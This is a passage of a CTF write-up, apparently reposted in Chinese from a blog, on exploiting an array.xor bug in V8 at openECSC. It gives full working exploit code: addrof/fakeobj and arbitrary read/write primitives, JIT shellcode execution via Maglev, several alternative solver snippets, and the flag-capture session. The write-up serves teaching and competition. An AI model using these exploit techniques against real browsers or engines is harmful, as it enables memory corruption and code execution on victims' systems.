[3735:0x555557e0a000] 191 ms: Scavenge 1.1 (3.0) -> 0.1 (3.0) MB, pooled: 0 MB, 6.31 / 0.00 ms (average mu = 1.000, current mu = 1.000) allocation failure;
DebugPrint: 0x298a001d4011: [Function] in OldSpace
- code: 0x39bb002005e5 <Code TURBOFAN>
funcAddr: 0x00043999
codeAddr: 0x00000725
instructionStart: 0x00000725
Writing shellcode
Running shellcode
[Thread 0x7ffff74986c0 (LWP 3739) exited]
[Thread 0x7ffff6c976c0 (LWP 3740) exited]
[Thread 0x7ffff7c996c0 (LWP 3738) exited]
[Inferior 1 (process 3735) exited normally]
(gdb)
嗯,所以我们的代码已经很好地优化为 Turbofan,但 funcAddr 完全错误!似乎for 循环导致垃圾收集器运行,而垃圾收集器所做的就是查看内存中的所有内容并重新排列以使其看起来更美观。更具体地说,它识别不再使用的对象,删除它们,并对内存进行碎片整理。
对我们来说,这意味着它会将我们设置的酷炫 oob 数组和所有其他内容扔得到处都是。我们的原语不再起作用!在我最初的 CTF 漏洞利用中,我努力对抗 GC,最终找到了一种无论如何都能工作的设置,但它有点不可靠。如果我们能以某种方式优化我们的函数而不导致 GC,那不是很好吗?
我无法找到使用 Turbofan 来实现这一点的方法,但也许我们可以尝试一下之前忽略的 Maglev?它的输出有点不同,所以我们必须更改偏移量,但由于 Maglev 也能编译成机器代码,所以它应该仍然可以正常工作。
添加这些之后,我们就得到了最终的漏洞代码。
// set up helper stuff
const buffer = new ArrayBuffer(8);
const floatBuffer = new Float64Array(buffer);
const int64Buffer = new BigUint64Array(buffer);
// bigint to double
function i2f(i) {
int64Buffer[0] = i;
return floatBuffer[0];
}
// double to bigint
function f2i(f) {
floatBuffer[0] = f;
return int64Buffer[0];
}
// bigint to 32-bit hex string
function hex32(i) {
return "0x" + i.toString(16).padStart(8, 0);
}
// bigint to 64-bit hex string
function hex64(i) {
return "0x" + i.toString(16).padStart(16, 0);
}
// set up variables
const arr = [1.1, 2.2, 3.3];
const tmpObj = {a: 1};
const objArr = [tmpObj];
// nabbed from Popax21
function obj2ptr(obj) {
var arr = [13.37];
arr.xor({
valueOf: function() {
arr[0] = {}; //Transition from PACKED_DOUBLE_ELEMENTS to PACKED_ELEMENTS
arr[0] = obj;
return 1; //Clear the lowest bit -> compressed SMI
}
});
return (arr[0] << 1) | 1;
}
// set up the fake array
const arrAddr = BigInt(obj2ptr(arr));
const arrElementsAddr = arrAddr - 0x20n;
const fakeAddr = arrElementsAddr + 0x10n;
const fakeElementsAddr = arrElementsAddr + 0x8n;
arr[0] = i2f(0x00000100000008a9n);
arr[1] = i2f(0x00000725001cb7c5n);
arr[2] = i2f(0x0000010000000000n + fakeElementsAddr);
// do the exploit
const tmp = [1.1];
const evil = {
valueOf: () => {
tmp[0] = arr;
return Number(arrAddr ^ fakeAddr);
}
};
tmp.xor(evil);
// this is the fake 128-element array
const oob = tmp[0];
// set up addrof/fakeobj primitives
function addrof(o) {
objArr[0] = o;
return f2i(oob[10]) >> 32n;
}
function fakeobj(a) {
const temp = f2i(oob[10]) & 0xFFFFFFFFn;
oob[10] = i2f(temp + (a << 32n));
return objArr[0];
}
// set up read/write primitives
function read(addr) {
const readArr = [1.1, 2.2];
readArr[0] = i2f(0x00000725001cb7c5n);
readArr[1] = i2f(0x0000000200000000n + addr - 0x8n);
return f2i(fakeobj(addrof(readArr) - 0x10n)[0]);
}
function write(addr, data) {
const writeArr = [1.1, 2.2];
writeArr[0] = i2f(0x00000725001cb7c5n);
writeArr[1] = i2f(0x0000000200000000n + addr - 0x8n);
const fakeArr = fakeobj(addrof(writeArr) - 0x10n);
fakeArr[0] = i2f(data);
}
// set up the shellcode function
function shellcode() {
// nabbed from Anvbis
return [
1.9711828979523134e-246,
1.9562205631094693e-246,
1.9557819155246427e-246,
1.9711824228871598e-246,
1.971182639857203e-246,
1.9711829003383248e-246,
1.9895153920223886e-246,
1.971182898881177e-246
]
}
// turn the shellcode into maglev
for (let i = 0; i < 10000; i++) {
shellcode();
}
// redirect the function start to our shellcode
funcAddr = addrof(shellcode)
codeAddr = read(funcAddr + 0x8n) >> 32n
instructionStart = codeAddr + 0x14n
write(instructionStart, read(instructionStart) + 0x7fn);
shellcode();
快来夺旗吧!
$ nc arrayxor.challs.open.ecsc2024.it 38020
Do Hashcash for 24 bits with resource "k2v9WzPBJK2N"
https://pow.cybersecnatlab.it/?data=k2v9WzPBJK2N&bits=24
or
hashcash -mCb24 "k2v9WzPBJK2N"
Result: 1:24:240525:k2v9WzPBJK2N::KmFvCdJ0h09D4MEm:00002QUYY
Send me your js exploit b64-encoded followed by a newline
Ly8gc2V0IHVwIGhlbHBlciBzdHVmZgpjb25zdCBidWZmZXIgPSBuZXcgQ...
cat flag
;
openECSC{t00_e5zy_w1th0ut_s4nb0x_gg_wp_5ec4376e}
gg。
第六部分:本来可以怎样
因为这是我第一次做这样的事,所以我一路上犯了一些“错误”。我认为这真的是最好的学习方式,但我承诺会向你展示几种可以显著改进我的漏洞利用的不同方法。
第一件事是我在上面的最终漏洞代码中已经实现的——obj2ptr我从Popax21的漏洞代码中获取的功能。最初,我习惯于在每次运行时%DebugPrint(arr)查看数组的地址,arr以相应地更改代码,但有一种非常简单的方法可以完全不必这样做!
// snippet from Popax21's exploit code
function obj2ptr(obj) {
var arr = [13.37];
arr.xor({
valueOf: function() {
arr[0] = {}; //Transition from PACKED_DOUBLE_ELEMENTS to PACKED_ELEMENTS
arr[0] = obj;
return 1; //Clear the lowest bit -> compressed SMI
}
});
return (arr[0] << 1) | 1;
}
function ptr2obj(ptr) {
var arr = [13.37];
arr.xor({
valueOf: function() {
arr[0] = {}; //Transition from PACKED_DOUBLE_ELEMENTS to PACKED_ELEMENTS
arr[0] = (ptr >> 1);
return 1; //Set the lowest bit -> compressed pointer
}
});
return arr[0];
}
由于指针和 SMI 之间的区别只是最后一位,我们可以将任何对象或指针放入数组中,对其最后一位进行异或运算,并相应地获取指针或对象。虽然我在示例漏洞利用代码中只使用了这些函数来获取的初始地址arr,但它们几乎等于完整的addrof和fakeobj原语!太棒了。
我在几个解决方案中看到的另一种利用 xor 的方法是将数组的长度改为较小的值,然后强制 GC 对数组之外的区域中的其他对象进行碎片整理,然后将长度改回较大的值以获得越界读/写。这种方法可能相当残酷,但rdjgr赢得了他们的第一滴血。
// snippet from rdjgr's exploit code
function pwn() {
let num = {};
let size = 0x12;
let num_rets = 0x10;
let a = [];
for (let i = 0; i < size; i++) {
a.push(1.1);
}
var rets = [{a: 1.1}];
num.valueOf = function() {
console.log("valueof called");
a.length = 1;
gc();
rets.push({b: 1.1});
return 0x40;
};
a.xor(num);
rets.length = 900
return rets
}
至于代码执行部分,几乎每个人都选择了 wasm rwx 路线,而不是像我一样费尽心机将函数优化为 Maglev/Turbocode。wasm路线有很多文章, 所以我觉得写一篇关于不同方法的博客会更有趣,无论如何,这是我在最初的 CTF 上采用的方法。
如果你想知道我在 CTF 上的原始代码是什么样的,它是这样的:exploit_final.js
// lyra
var bs = new ArrayBuffer(8);
var fs = new Float64Array(bs);
var is = new BigUint64Array(bs);
function ftoi(x) {
fs[0] = x;
return is[0];
}
function itof(x) {
is[0] = x;
return fs[0];
}
const foo = (() => {
const f = () => {
return [
1.9711828979523134e-246,
1.9562205631094693e-246,
1.9557819155246427e-246,
1.9711824228871598e-246,
1.971182639857203e-246,
1.9711829003383248e-246,
1.9895153920223886e-246,
1.971182898881177e-246,
];
}
//%PrepareFunctionForOptimization(f);
f();
//%OptimizeFunctionOnNextCall(f);
for (var i = 0; i < 100000; i++) { f() }
f()
return f;
})();
var a = [];
for (var i = 0; i < 100000; i++) { a[i] = new String("");foo(); }
new ArrayBuffer(0x80000000);
var arr1 = [5.432309235825e-312, 1337.888, 3.881131231533e-311, 5.432329947926e-312];
var flt = [1.1];
var tmp = {a: 1};
var obj = [tmp];
var array = [-0];
var hasRun = false;
//%DebugPrint(arr1);
//%DebugPrint(flt);
//%DebugPrint(obj);
function getHandler() {
if (hasRun) return;
hasRun = true;
array[0] = arr1;
return 80;
}
x = []
x.__defineGetter__("0", getHandler);
array.xor(x);
//%DebugPrint(arr1);
//%SystemBreak();
console.log("s1");
const oob = array[0];
console.log("s2");
console.log("s3");
function addrof(o) {
console.log("oob = oob");
oob[6] = oob[18];
console.log("obj[0] = o");
obj[0] = o;
console.log("ret");
return (ftoi(flt[0]) & 0xffffffffn) - 1n;
}
function read(p) {
let a = ftoi(oob[6]) >> 32n;
oob[6] = itof((a << 32n) + p - 8n + 1n);
return ftoi(flt[0]);
}
function write(p, x) {
let a = ftoi(oob[6]) >> 32n;
oob[6] = itof((a << 32n) + p - 8n + 1n);
flt[0] = itof(x);
}
console.log("s3.5");
let foo_addr = addrof(foo);
console.log(foo_addr);
console.log(oob[0]);
foo_addr = addrof(foo);
console.log("foo_addr:", foo_addr);
let code = (read(foo_addr + 0x08n) - 1n) >> 32n;
console.log("code:", code);
console.log("0x00:", read(foo_addr + 0x00n));
console.log("0x10:", read(foo_addr + 0x10n));
let entry = read(code - 0x100n + 0x113n);
console.log("entry:", entry);
write(code - 0x100n + 0x113n, entry + 0x53n);
entry = read(code - 0x100n + 0x113n);
console.log("entry:", entry);
console.log("launching");
console.log(tmp);
foo();
虽然不如我为博客制作的那么漂亮,但是嘿,我赢得了旗帜,并在整个比赛中获得了前十名的位置!
第七部分:后记
非常感谢您查看我的文章!
这篇博文很不错,不是吗!我以前从来没有做过这种 pwn,我觉得我学到了很多东西,所以我想把它传递出去,和大家分享!
我付出了很多努力,让这个页面上的所有 html/css 尽可能有用、交互性强、美观。与我上一篇文章一样,这里的所有内容都是精心手工制作的 html/css - 没有使用任何图像或 javascript,而且所有内容都只有 42kB 的 gzip 压缩文件。哦,所有内容都是响应式的,所以无论您使用的是小型手机还是大型 hidpi 屏幕,它都应该看起来很棒!尝试调整窗口大小,看看帖子的不同部分如何对其作出反应。
这篇文章应该可以跨浏览器运行,但是 v8/gdb 悬停突出显示内容和小端小部件在当前版本的 ladybird 中不起作用,因为它不支持:has()选择器和可调整大小的手柄,希望它在某些时候也能得到这些!
Exploiting V8 at openECSC
https://lyra.horse/blog/2024/05/exploiting-v8-at-openecsc/
原文始发于微信公众号(Ots安全):在 openECSC 上利用 V8:从内存损坏到浏览器 pwn 的初学者友好之旅
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论